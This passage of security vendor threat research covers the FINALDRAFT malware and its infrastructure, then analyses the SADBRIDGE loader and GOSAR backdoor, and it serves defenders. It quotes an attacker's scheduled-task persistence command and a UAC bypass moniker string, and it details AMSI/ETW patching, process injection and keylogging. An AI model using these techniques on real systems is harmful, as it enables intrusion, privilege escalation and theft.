• /tr \"C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\" - task to run, in this case the fontdrvhost.exe commands we covered earlier
• /sc MINUTE - schedule type, MINUTE specifies the to run on minute intervals
• /mo 1 - modifier, defines 1 for the schedule interval
• /RU SYSTEM - defines what account to run as; in this situation, the task will run as the SYSTEM user

FINALDRAFT Analysis

A technical deep-dive describing the capabilities and architecture of the FINALDRAFT and PATHLOADER malware is available here. At a high level, FINALDRAFT is a well-engineered, full-featured remote administration tool with the ability to accept add-on modules that extend functionality and proxy network traffic internally by multiple means.

Although FINALDRAFT can establish command and control using various means, the most notable are the means we observed in our victim environment, abuse of Microsoft’s Graph API. We first observed this type of third-party C2 in SIESTAGRAPH, which we reported in December 2022.

This command and control type is challenging for defenders of organizations that heavily depend on network visibility to catch. Once the initial execution and check-in have been completed, all further communication proceeds through legitimate Microsoft infrastructure (graph.microsoft[.]com) and blends in with the other organizational workstations. It also supports relay functionality that enables it to proxy traffic for other infected systems. It evades defenses reliant on network-based intrusion detection and threat-intelligence indicators.

PATHLOADER and GUIDLOADER

Both PATHLOADER and GUIDLOADER are used to download and execute encrypted shellcodes in memory. They were discovered in VirusTotal while investigating the C2 infrastructure and strings identified within a FINALDRAFT memory capture. They have only been observed in association with FINALDRAFT payloads.

A May 2023 sample in VirusTotal is the earliest identified binary of the REF7707 intrusion set. This sample was first submitted by a web user from Thailand, dwn.exe (9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf) is a PATHLOADER variant that loads an encrypted FINALDRAFT binary from poster.checkponit[.]com and support.fortineat[.]com.

Between June and August of 2023, a Hong Kong VirusTotal web user uploaded 12 samples of GUIDLOADER. These samples each had minor modifications to how the encrypted payload was downloaded and were configured to use FINALDRAFT domains:

• poster.checkponit[.]com
• support.fortineat[.]com
• Google Firebase (firebasestorage.googleapis[.]com)
• Pastebin (pastebin[.]com)
• A Southeast Asian University public-facing web storage system

Some samples of GUIDLOADER appear unfinished or broken, with non-functional decryption routines, while others contain debug strings embedded in the binary. These variations suggest that the samples were part of a development and testing process.

FINALDRAFT bridging OS’

In late 2024, two Linux ELF FINALDRAFT variants were uploaded to VirusTotal, one from the United States and one from Brazil. These samples feature similar C2 versatility and a partial reimplementation of the commands available in the Windows version. URLs were pulled from these files for support.vmphere[.]com, update.hobiter[.]com, and pastebin.com.

Infrastructure Analysis

In the FINALDRAFT malware analysis report, several domains were identified in the samples collected in the REF7707 intrusion, and other samples were identified through code similarity.

Service banner hashes

A Censys search for hobiter[.]com (the domain observed in the ELF variant of FINALDRAFT, discussed in the previous section) returns an IP address of 47.83.8.198. This server is Hong Kong-based and is serving ports 80 and 443. The string “hobiter[.]com” is associated with the TLS certificate on port 443. A Censys query pivot on the service banner hash of this port yields six additional servers that share that hash (seven total).

Two servers (203.232.112[.]186 and 13.125.236[.]162) do not share the same profile as the other five. While the service banner hash still matches, it is not on port 443, but on ports 15701, 15702, 15703, and 15709. Further, the ports in question do not appear to support TLS communications. We have not attributed them to REF7707 with a high degree of confidence but are including them for completeness.

The other five servers, including the original “hobiter” server, share several similarities:

• Service banner hash match on port 443
• Southeast Asia geolocations
• Windows OS
• Cloudflare issued TLS certs
• Most have the same ASN belonging to Alibaba

Hobiter and VMphere

update.hobiter[.]com and support.vmphere[.]com were found in an ELF binary (biosets.rar) from December 13, 2024. Both domains were registered over a year earlier, on September 12, 2023. This ELF binary features similar C2 versatility and a partial reimplementation of the commands available in the Windows version of FINALDRAFT.

A name server lookup of hobiter[.]com and vmphere[.]com yields only a Cloudflare name server record for each and no A records. Searching for their known subdomains provides us with A records pointing to Cloudflare-owned IP addresses.

ICTNSC

ictnsc[.]com is directly associated with the REF7707 intrusion above from a connectivity check (ping digert.ictnsc[.]com) performed by the attackers. The server associated with this domain (8.213.217[.]182) was identified through the Censys service banner hash on the HTTPS service outlined above. Like the other identified infrastructure, the subdomain resolves to Cloudflare-owned IP addresses, and the parent domain only has a Cloudflare NS record. ictnsc[.]com was registered on February 8, 2023.

While we cannot confirm the association as malicious, it should be noted that the domain ict.nsc[.]ru is the Federal Research Center for Information and Computational Technologies web property, often referred to as the FRC or the ICT. This Russian organization conducts research in various areas like computer modeling, software engineering, data processing, artificial intelligence, and high-performance computing.

While not observed in the REF7707 intrusion, the domain we observed (ictnsc[.]com) has an ict subdomain (ict.ictnsc[.]com), which is strikingly similar to ict.nsc[.]ru. Again, we cannot confirm if they are related to the legitimate FRC or ITC, it seems the threat actor intended for the domains to be similar, conflated, or confused with each other.

Autodiscovar

Autodiscovar[.]com has not been directly associated with any FINALDRAFT malware. It has been indirectly associated with REF7707 infrastructure through pivots on web infrastructure identifiers. The parent domain only has a Cloudflare NS record. A subdomain identified through VirusTotal (cloud.autodiscovar[.]com) points to Cloudflare-owned IP addresses. This domain name resembles other FINALDRAFT and REF7707 web infrastructure and shares the HTTPS service banner hash. This domain was registered on August 26, 2022.

D-links and VM-clouds

d-links[.]net and vm-clouds[.]net were both registered on September 12, 2023, the same day as hobiter[.]com and vmphere[.]com. The servers hosting these sites also share the same HTTPS service banner hash. They are not directly associated with the FINALDRAFT malware nor have current routable subdomains, though pol.vm-clouds[.]net was previously registered.

Fortineat

support.fortineat[.]com was hard-coded in the PATHLOADER sample (dwn.exe). During our analysis of the domain, we discovered that it was not currently registered. To identify any other samples communicating with the domain, our team registered this domain and configured a web server to listen for incoming connections.

We recorded connection attempts over port 443, where we identified a specific incoming byte pattern. The connections were sourced from eight different telecommunications and Internet infrastructure companies in Southeast Asia, indicating possible victims of the REF7707 intrusion set.

Checkponit

poster.checkponit[.]com was observed in four GUIDLOADER samples and a PATHLOADER sample between May and July 2023, and it was used to host the FINALDRAFT encrypted shellcode. The checkponit[.]com registration was created on August 26, 2022. There are currently no A records for checkponit[.]com or poster.checkponit[.]com.

Third-party infrastructure

Microsoft’s graph.microsoft[.]com is used by the FINALDRAFT PE and ELF variants for command and control via the Graph API. This service is ubiquitous and used for critical business processes of enterprises using Office 365. Defenders are highly encouraged to NOT block-list this domain unless business ramifications are understood.

Google’s Firebase service (firebasestorage.googleapis[.]com), Pastebin (pastebin[.]com), and a Southeast Asian University are third-party services used to host the encrypted payload for the loaders (PATHLOADER and GUIDLOADER) to download and decrypt the last stage of FINALDRAFT.

REF7707 timeline

Conclusion

REF7707 was discovered while investigating an intrusion of a South American nation's Foreign Ministry.

The investigation revealed novel malware like FINALDRAFT and its various loaders. These tools were deployed and supported using built-in operating system features that are difficult for traditional anti-malware tools to detect.

FINALDRAFT co-opts Microsoft’s graph API service for command and control to minimize malicious indicators that would be observable to traditional network-based intrusion detection and prevention systems. Third-party hosting platforms for encrypted payload staging also challenge these systems early in the infection chain.

An overview of the VirusTotal submitters and pivots using the indicators in this report shows a relatively heavy geographic presence in Southeast Asia and South America. SIESTAGRAPH, similarly, was the first in-the-wild graph API abuse we had observed, and it (REF2924) involved an attack on a Southeast Asian nation’s Foreign Ministry.

At Elastic Security Labs, we champion defensive capabilities across infosec domains operated by knowledgeable professionals to mitigate advanced threats best.

REF7707 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

• Reconnaissance
• Execution
• Persistence
• Privilege Escalation
• Defense Evasion
• Credential Access
• Discovery
• Lateral Movement
• Collection
• Command and Control
• Exfiltration

Detecting REF7707

YARA

• FINALDRAFT (Windows)
• FINALDRAFT (Linux)
• FINALDRAFT (Multi-OS)
• PATHLOADER
• GUIDLOADER

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.elastic.co/jp/security-labs/finaldraft
• https://mrd0x.com/the-power-of-cdb-debugging-tool/
• https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html

About Elastic Security Labs

Elastic Security Labs is dedicated to creating positive change in the threat landscape by providing publicly available research on emerging threats.

Follow Elastic Security Labs on X @elasticseclabs and check out our research at www.elastic.co/security-labs/. You can see the technology we leveraged for this research and more by checking out Elastic Security.

Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.

Key takeaways

• Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser
• Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)
• SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)
• GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time
• Elastic Security provides comprehensive prevention and detection capabilities against this attack chain

REF3864 Campaign Overview

In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.

During this investigation, we uncovered multiple infection chains involving similar techniques:

• Trojanized MSI installers with low detections
• Masquerading using legitimate software bundled with malicious DLLs
• Custom SADBRIDGE loader deployed
• Final stage GOSAR loaded

We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows x64dbg.exe debugging application is used behind-the-scenes to load a malicious, patched DLL (x64bridge.dll). This DLL kicks off a new legitimate program (MonitoringHost.exe) where it side-loads another malicious DLL (HealthServiceRuntime.dll), ultimately performing injection and loading the GOSAR implant in memory via injection.

Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as 360tray.exe, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.

QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, Evolution of Quasar RAT), including by China-linked APT10. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.

GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).

SADBRIDGE Introduction

The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as x64dbg.exe and MonitoringHost.exe to load malicious DLLs like x64bridge.dll and HealthServiceRuntime.dll, which leads to subsequent stages and shellcodes.

Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a UAC bypass technique that abuses the ICMLuaUtil COM interface. In addition, SADBRIDGE incorporates a privilege escalation bypass through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.

The SADBRIDGE configuration is encrypted using a simple subtraction of 0x1 on each byte of the configuration string. The encrypted stages are all appended with a .log extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.

SADBRIDGE employs PoolParty, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long Sleep API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW).

The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.

SADBRIDGE Code Analysis

MSI Analysis

The initial files are packaged in an MSI using Advanced Installer, the main files of interest are x64dbg.exe and x64bridge.dll.

By using MSI tooling (lessmsi), we can see the LaunchApp entrypoint in aicustact.dll is configured to execute the file path specified in the AI_APP_FILE property.

If we navigate to this AI_APP_FILE property, we can see the file tied to this configuration is x64dbg.exe. This represents the file that will be executed after the installation is completed, the legitimate NetFxRepairTool.exe is never executed.

x64bridge.dll Side-loading

When x64dbg.exe gets executed, it calls the BridgeInit export from x64bridge.dll. BridgeInit is a wrapper for the BridgeStart function.

Similar to techniques observed with BLISTER, SADBRIDGE patches the export of a legitimate DLL.

During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed 0x4E67C6A7. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to C:\Users\Public\Documents\<hostname_hash>\edbtmp.log. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN to hide itself from an ordinary directory listing.

Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by 0x1.

The configuration consists of:

• Possible campaign date
• Strings to be used for creating services
• New name for MonitoringHost.exe (DevQueryBroker.exe)
• DLL name for the DLL to be sideloaded by MonitoringHost.exe (HealthServiceRuntime.dll)
• Absolute paths for additional stages (.log files)
• The primary injection target for hosting GOSAR (svchost.exe)

The DevQueryBroker directory (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\) contains all of the encrypted stages (.log files) that are decrypted at runtime. The file (DevQueryBroker.exe) is a renamed copy of Microsoft legitimate application (MonitoringHost.exe).

Finally, it creates a process to run DevQueryBroker.exe which side-loads the malicious HealthServiceRuntime.dll in the same folder.

HealthServiceRuntime.dll

This module drops both an encrypted and partially decrypted shellcode in the User’s %TEMP% directory. The file name for the shellcode follows the format: log<random_string>.tmp. Each byte of the partially decrypted shellcode is then decremented by 0x10 to fully decrypt. The shellcode is executed in a new thread of the same process.

The malware leverages API hashing using the same algorithm in research published by SonicWall, the hashing algorithm is listed in the Appendix section. The shellcode decrypts DevQueryBroker.log into a PE file then performs a simple XOR operation with a single byte (0x42) in the first third of the file where then it decompresses the result using the LZNT1 algorithm.

The shellcode then unmaps any existing mappings at the PE file's preferred base address using NtUnmapViewOfSection, ensuring that a call to VirtualAlloc will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific .log files they reference for decryption and execution.

DevQueryBroker.log

The malware dynamically loads amsi.dll to disable critical security mechanisms in Windows. It patches AmsiScanBuffer in amsi.dll by inserting instructions to modify the return value to 0x80070057, the standardized Microsoft error code E_INVALIDARG indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches AmsiOpenSession to always return the same error code E_INVALIDARG. Additionally, it patches EtwEventWrite in ntdll.dll, replacing the first instruction with a ret instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.

Following the patching, an encrypted shellcode is written to temp.ini at path (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini).
The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the SECURITY_LOCAL_SYSTEM_RID and calling CheckTokenMembership. If not, it attempts to check for membership in the Administrators group by creating a SID using SECURITY_BUILTIN_DOMAIN_RID and DOMAIN_ALIAS_RID_ADMINS and performing a similar token membership check.

If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a UAC bypass mechanism by leveraging the ICMLuaUtil COM interface. It crafts a moniker string "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" to create an instance of the CMSTPLUA object with Administrator privileges. Once the object is created and the ICMLuaUtil interface is obtained, the malware uses the exposed ShellExec method of the interface to run DevQueryBroker.exe.

If a task or a service is not created to run DevQueryBroker.exe routinely, the malware checks if the Anti-Virus process 360tray.exe is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:

• Service name: DevQueryBrokerService
  Binary path name: “C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”.
• Display name: DevQuery Background Discovery Broker Service
• Description: Enables apps to discover devices with a background task.
• Start type: Automatically at system boot
• Privileges: LocalSystem

If 360tray.exe is detected running, the malware writes an encrypted PE file to DevQueryBrokerService.log, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it.

Once DevQueryBroker.exe is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there.

On Windows 7, however, it executes a shellcode, which decrypts and runs the DevQueryBrokerPre.log file.

Stage 1 Injection (explorer.exe)

SADBRIDGE utilizes PoolParty Variant 7 to inject shellcode into explorer.exe by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within explorer.exe to store the shellcode. Additional memory is allocated to store a crafted TP_DIRECT structure, which includes the base address of the shellcode as the callback address. Finally, it calls ZwSetIoCompletion, passing a pointer to the TP_DIRECT structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.

This shellcode decrypts the DevQueryBrokerService.log file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode.

Stage 2 Injection (spoolsv.exe/lsass.exe)

For Stage 2, SADBRIDGE injects shellcode into spoolsv.exe, or lsass.exe if spoolsv.exe is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts DevQueryBrokerPre.log into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.

DevQueryBrokerService.log

The shellcode decrypted from DevQueryBrokerService.log as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC bypass technique using the IElevatedFactorySever COM object to indirectly create the scheduled task. This task is configured to run DevQueryBroker.exe on a daily basis with SYSTEM level privileges using the task name DevQueryBrokerService.

In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from explorer.exe.

DevQueryBrokerPre.log

SADBRIDGE creates a service named DevQueryBrokerServiceSvc under the registry subkey SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc with the following attributes:

• Description: Enables apps to discover devices with a background task.
• DisplayName: DevQuery Background Discovery Broker Service
• ErrorControl: 1
• ImagePath: %systemRoot%\system32\svchost.exe -k netsvcs
• ObjectName: LocalSystem
• Start: 2 (auto-start)
• Type: 16.
• Failure Actions:
  • Resets failure count every 24 hours.
  • Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.

The service parameters specify the ServiceDll located at C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\<hostname_hash>\DevQueryBrokerService.dll. If the DLL file does not exist, it will be dropped to disk right after.

DevQueryBrokerService.dll has a similar code structure as HealthServiceRuntime.dll, which is seen in the earlier stages of the execution chain. It is responsible for decrypting DevQueryBroker.log and running it. The ServiceDll will be loaded and executed by svchost.exe when the service starts.

Additionally, it modifies the SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs key to include an entry for DevQueryBrokerServiceSvc to integrate the newly created service into the group of services managed by the netsvcs service host group.

SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService and SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService.

Finally, it removes the files DevQueryBroker.exe and HealthServiceRuntime.dll in the C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker folder, as the new persistence mechanism is in place.

GOSAR Injection

In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the WTSEnumerateSessionsA API.

If sessions are found, it iterates through each session:

• For each session, it attempts to retrieve the username (WTSUserName) using WTSQuerySessionInformationA. If the query fails, it moves to the next session.
• If WTSUserName is not empty, the code targets svchost.exe, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.
• If WTSUserName is empty but the session's WinStationName is "Services" (indicating a service session), it targets dllhost.exe instead, passing the same parameters to the final stage injection subroutine.

If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.

Logged-in sessions target svchost.exe, while service sessions or sessions without a logged-in user target dllhost.exe.

If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to S-1-16-12288 (System integrity). It then uses the elevated token to create a child process (svchost.exe or dllhost.exe) via CreateProcessAsUserA.

If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using CreateProcessA.

The encrypted shellcode C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt .log files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.

Finally, the injected shellcode decrypts DevQueryBrokerCore.log to GOSAR and runs it in the newly created process’s memory.

GOSAR Introduction

GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version.

By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload.

Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).

GOSAR Code Analysis Overview

Code structure of GOSAR

As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version 0.12.01

• vibrant/config: Contains the configuration files for the malware.
• vibrant/proto: Houses all the Google Protocol Buffers (proto) declarations.
• vibrant/network: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener
• vibrant/msgs/resolvers: Defines the commands handled by the malware. These commands are assigned to an object within the vibrant_msgs_init* functions.
• vibrant/msgs/services: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the vibrant_network._ptr_Connection.Start function.
• vibrant/logs: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.
• vibrant/pkg/helpers: Contains helper functions used across various malware commands and services.
• vibrant/pkg/screenshot: Handles the screenshot capture functionality on the infected system.
• vibrant/pkg/utils: Includes utility functions, such as generating random values.
• vibrant/pkg/native: Provides functions for calling Windows API (WINAPI) functions.

New Additions to GOSAR

Communication and information gathering

This new variant continues to use the same communication method as the original, based on TCP TLS. Upon connection, it first sends system information to the C2, with 4 new fields added:

• IPAddress
• AntiVirus
• ClipboardSettings
• Wallets

The list of AntiViruses and digital wallets are initialized in the function vibrant_pkg_helpers_init and can be found at the bottom of this document.

Services

The malware handles 3 services that are started during the initial connection of the client to the C2:

• vibrant_services_KeyLogger
• vibrant_services_ClipboardLogger
• vibrant_services_TickWriteFile

KeyLogger

The keylogging functionality in GOSAR is implemented in the vibrant_services_KeyLogger function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with SetWindowsHookEx with the parameter WH_KEYBOARD_LL to monitor low-level keyboard events. The hook function is named vibrant_services_KeyLogger_func1.

ClipboardLogger

The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using IsClipboardFormatAvailable then retrieves it using GetClipboardData API.

TickWriteFile

Both ClipboardLogger and KeyLogger services collect data that is written by the TickWriteFile periodically to directory (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics) under a file of the current date, example 2024-11-27.
It can be decrypted by first subtracting the value 0x1f then xoring it with the value 0x18 as shown in the CyberChef recipe.

Networking setup

After initializing its services, the malware spawns three threads dedicated to its networking setup.

• vibrant_network_ConfigFirewallRule
• vibrant_network_ConfigHosts
• vibrant_network_ConfigAutoListener

Threads handling networking setup

ConfigFirewallRule

The malware creates an inbound firewall rule for the ports range 51756-51776 under a Chinese name that is translated to Distributed Transaction Coordinator (LAN) it allows all programs and IP addresses inbound the description is set to :Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.

ConfigHosts

This function adds an entry to c:\Windows\System32\Drivers\etc\hosts the following 127.0.0.1 micrornetworks.com. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.

ConfigAutoListener

This functionality of the malware runs an HTTP server listener on the first available port within the range 51756-51776, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a GET request to the URI /security.js, responding with the string callback();, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later

Logs

The malware saves its runtime logs in the directory: %APPDATA%\Roaming\Microsoft\Logs under the filename formatted as: windows-update-log-<YearMonthDay>.log.
Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the vibrant_config function, the following is an example:

The attacker can remotely retrieve the malware's runtime logs by issuing the command ResolveGetRunLogs.

Plugins

The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: C:\ProgramData\policy-err.log. To execute a plugin, the command ResolveDoExecutePlugin is called, it first checks if a plugin is available.

It then loads a native DLL reflectively that is stored in base64 format in the binary named plugins.dll and executes its export function ExecPlugin.

ExecPlugin creates a suspended process of C:\Windows\System32\msiexec.exe with the arguments /package /quiet. It then queues Asynchronous Procedure Calls (APC) to the process's main thread. When the thread is resumed, the queued shellcode is executed.

The shellcode reads the encrypted plugin stored at C:\ProgramData\policy-err.log, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.

HVNC

The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands

• ResolveHVNCCommand
• ResolveGetHVNCScreen
• ResolveStopHVNC
• ResolveDoHVNCKeyboardEvent
• ResolveDoHVNCMouseEvent

The first command that is executed is ResolveGetHVNCScreen which will first initialise it and set up a view, it uses an embedded native DLL HiddenDesktop.dll in base64 format, the DLL is reflectively loaded into memory and executed.

The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:

• ExcuteCommand
• DoMouseScroll
• DoMouseRightClick
• DoMouseMove
• DoMouseLeftClick
• DoKeyPress
• CaptureScreen

The first export function called is Initialise to initialise a desktop with CreateDesktopA API. This HVNC implementation handles 17 commands in total that can be found in ExcuteCommand export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command ResolveHVNCCommand that will call ExcuteCommand.

Screenshot

The malware loads reflectively the third and last PE DLL embedded in base64 format named Capture.dll, it has 5 export functions:

• CaptureFirstScreen
• CaptureNextScreen
• GetBitmapInfo
• GetBitmapInfoSize
• SetQuality

The library is first initialized by calling resolvers_ResolveGetBitmapInfo that reflectively loads and executes its DllEntryPoint which will setup the screen capture structures using common Windows APIs like CreateCompatibleDC, CreateCompatibleBitmap and CreateDIBSection. The 2 export functions CaptureFirstScreen and CaptureNextScreen are used to capture a screenshot of the victim's desktop as a JPEG image.

Observation

Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.

It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.

New functionality

The following table provides a description of all the newly added commands:

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Collection
• Command and Control
• Defense Evasion
• Discovery
• Execution
• Exfiltration
• Persistence
• Privilege Escalation

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Hijack Execution Flow: DLL Side-Loading
• Input Capture: Keylogging
• Process Injection: Asynchronous Procedure Call
• Process Discovery
• Hide Artifacts: Hidden Window
• Create or Modify System Process: Windows Service
• Non-Standard Port
• Abuse Elevation Control Mechanism: Bypass User Account Control
• Obfuscated Files or Information
• Impair Defenses: Disable or Modify Tools
• Virtualization/Sandbox Evasion: Time Based Evasion

Mitigating REF3864

Detection

• Potential Antimalware Scan Interface Bypass via PowerShell
• Unusual Print Spooler Child Process
• Execution from Unusual Directory - Command Line
• External IP Lookup from Non-Browser Process
• Unusual Parent-Child Relationship
• Unusual Network Connection via DllHost
• Unusual Persistence via Services Registry
• Parent Process PID Spoofing

Prevention

• Network Connection via Process with Unusual Arguments
• Potential Masquerading as SVCHOST
• Network Module Loaded from Suspicious Unbacked Memory
• UAC Bypass via ICMLuaUtil Elevated COM Interface
• Potential Image Load with a Spoofed Creation Time

YARA

Elastic Security has created YARA rules to identify this activity.

• Multi.Trojan.Gosar
• Windows.Trojan.SadBridge

Observations

The following observables were discussed in this research:

References

The following were referenced throughout the above research:

• https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html
• https://www.sonicwall.com/blog/project-androm-backdoor-trojan
• https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
• https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512

Appendix

Hashing algorithm (SADBRIDGE)

def ror(x, n, max_bits=32) -> int:
    """Rotate right within a max bit limit, default 32-bit."""
    n %= max_bits
